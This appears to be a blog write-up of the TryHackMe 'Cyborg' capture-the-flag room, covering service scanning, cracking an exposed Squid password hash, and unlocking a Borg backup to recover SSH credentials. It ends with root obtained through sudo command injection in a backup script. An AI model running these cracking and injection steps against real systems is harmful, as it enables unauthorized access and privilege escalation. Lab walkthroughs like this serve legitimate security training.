09 Oct 2025 3 min read

TryHackMe Cyborg Writeup: Borg Backup, Squid Proxy and Sudo Command Injection

Challenge Info

Platform: TryHackMe
Room name: Cyborg
Difficulty: Easy
Goal: Capture the user flag and the root flag
Link: https://tryhackme.com/room/cyborgt8

Service Discovery

nmap -sC -sV -Pn 10.201.101.58

Results

22/tcp - OpenSSH
80/tcp - Apache httpd

Step 1: Web Enumeration

Visiting the site reveals a static web page, so let's run a directory scan:

gobuster dir -u http://10.201.101.58 -w /usr/share/wordlists/common.txt

└─$ gobuster dir -u http://10.201.101.58/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.201.101.58/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/admin                (Status: 301) [Size: 314] [--> http://10.201.101.58/admin/]
/etc                  (Status: 301) [Size: 312] [--> http://10.201.101.58/etc/]
/index.html           (Status: 200) [Size: 11321]
/server-status        (Status: 403) [Size: 278]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
===============================================================

Interesting directories found

/admin - admin panel page
/etc - config files directory

Step 2: Exploring the /admin Directory

Inside /admin we find a chat log (Adminer), which mentions:

[Today at 5.45am from Alex]
Ok sorry guys i think i messed something up, uhh i was playing around
with the squid proxy i mentioned earlier.
...
And since i dont know how it works im not sure how to delete them
hope they don't contain any confidential information lol.

Key clues:

Alex broke the Squid Proxy
Config files are scattered everywhere
They may contain sensitive information

We also find a Download Archive button, which gives us archive.tar

Step 3: Analyzing the Downloaded File

tar -xvf archive.tar
cd home/field/dev/final_archive

Turns out this is a Borg Backup repository!

tree
# .
# ├── config
# ├── data
# │   └── 0
# │       ├── 1
# │       ├── 3
# │       ├── 4
# │       └── 5
# ├── hints.5
# ├── index.5
# ├── integrity.5
# ├── nonce
# └── README

Step 4: Finding the Borg Passphrase

Back to the web directory to explore /etc/squid, where we find the Squid Proxy config:

# Visit http://10.201.101.58/etc/squid/squid.conf

Config contents:

auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd
auth_param basic children 5
auth_param basic realm Squid Basic Authentication
auth_param basic credentialsttl 2 hours
acl auth_users proxy_auth REQUIRED
http_access allow auth_users

Key detail: it points to the /etc/squid/passwd file

Visiting http://10.201.101.58/etc/squid/passwd gives us:

music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.

Step 5: Cracking the Apache APR1 MD5 Hash

This is the Apache $apr1$ MD5 format (mode 1600)

# Keep only the hash part (strip the username)
echo '$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.' > hash.txt

# Crack it with hashcat
hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt

Cracked result: squidward

Step 6: Unlocking the Borg Backup

# List the backups
borg list final_archive
# Enter passphrase: squidward

# Output:
# music_archive    Tue, 2020-12-29 22:00:38 [f789ddb6...]

Extract the backup contents:

mkdir borg_extracted
cd borg_extracted
borg extract /path/to/final_archive::music_archive

Explore the extracted files:

cd home/alex
tree
# .
# ├── Desktop
# │   └── secret.txt
# ├── Documents
# │   └── note.txt
# ├── Downloads
# ├── Music
# ...

Step 7: Getting Alex's Credentials

cat Documents/note.txt

Contents:

Wow I'm awful at remembering Passwords so I've taken my
Friends advice and noting them down!

alex:S3cretP@s3

We found Alex's SSH password: S3cretP@s3

ssh [email protected]
# Password: S3cretP@s3

Grab the user flag:

ls -la
cat user.txt
# flag{Redacted}

Step 9: Privilege Escalation Recon

sudo -l

Output:

User alex may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh

Inspect the script:

cat /etc/mp3backups/backup.sh

The vulnerable code:

while getopts c: flag
do
        case "${flag}" in
                c) command=${OPTARG};;
        esac
done
...
cmd=$($command)
echo $cmd

Step 10: Privilege Escalation via Command Injection

The script accepts a -c argument and executes the command directly — and it runs with sudo privileges!

Reading the Root Flag

sudo /etc/mp3backups/backup.sh -c "cat /root/root.txt"

Root Flag:

flag{Redacted}

Key Takeaways

1. Decrypting a Borg Backup

Use borg list to list the backups
Use borg extract to pull out the contents
The passphrase is usually hidden somewhere else (in this room, in the Squid config)

2. Cracking Apache APR1 MD5

# Hashcat mode 1600
hashcat -m 1600 hash.txt wordlist.txt

# Or use John the Ripper
john --format=md5crypt hash.txt

3. Sudo Abuse

Always check sudo -l first
Scripts that can run without a password are the top target for privilege escalation
Check whether the script is:
- writable
- using relative paths
- has a command injection point
- using wildcards

Lessons Learned

This room touches on some basic code auditing, but the target of the audit isn't the code itself — you need to recognize that a tool called Borg Backup is being used to back up the entire user directory. Once you know that, you can extract the relevant information and reach Alex's home directory.